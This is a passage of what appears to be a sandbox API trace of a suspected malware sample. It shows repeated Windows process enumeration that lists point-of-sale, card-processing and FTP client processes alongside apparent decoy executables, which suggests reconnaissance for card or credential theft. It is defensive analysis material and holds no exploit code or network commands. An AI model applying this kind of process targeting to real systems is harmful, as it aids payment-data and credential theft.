th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0279.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0279.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0279.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0279.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0279.067] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0279.069] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0279.071] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0279.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0279.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0279.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0279.077] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0279.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0279.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0279.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0279.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0279.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0279.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0279.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0279.106] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.108] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.110] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0279.112] CloseHandle (hObject=0x344) returned 1 [0279.112] Sleep (dwMilliseconds=0x64) [0279.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0279.173] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.174] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.243] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.246] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.248] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0279.251] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0279.253] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.254] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0279.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0279.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0279.262] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0279.264] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0279.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0279.269] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0279.271] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0279.273] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0279.317] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0279.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0279.320] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0279.322] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0279.323] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0279.325] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0279.326] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0279.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0279.329] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0279.331] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0279.332] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0279.334] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0279.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0279.336] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0279.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0279.339] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0279.340] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0279.342] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 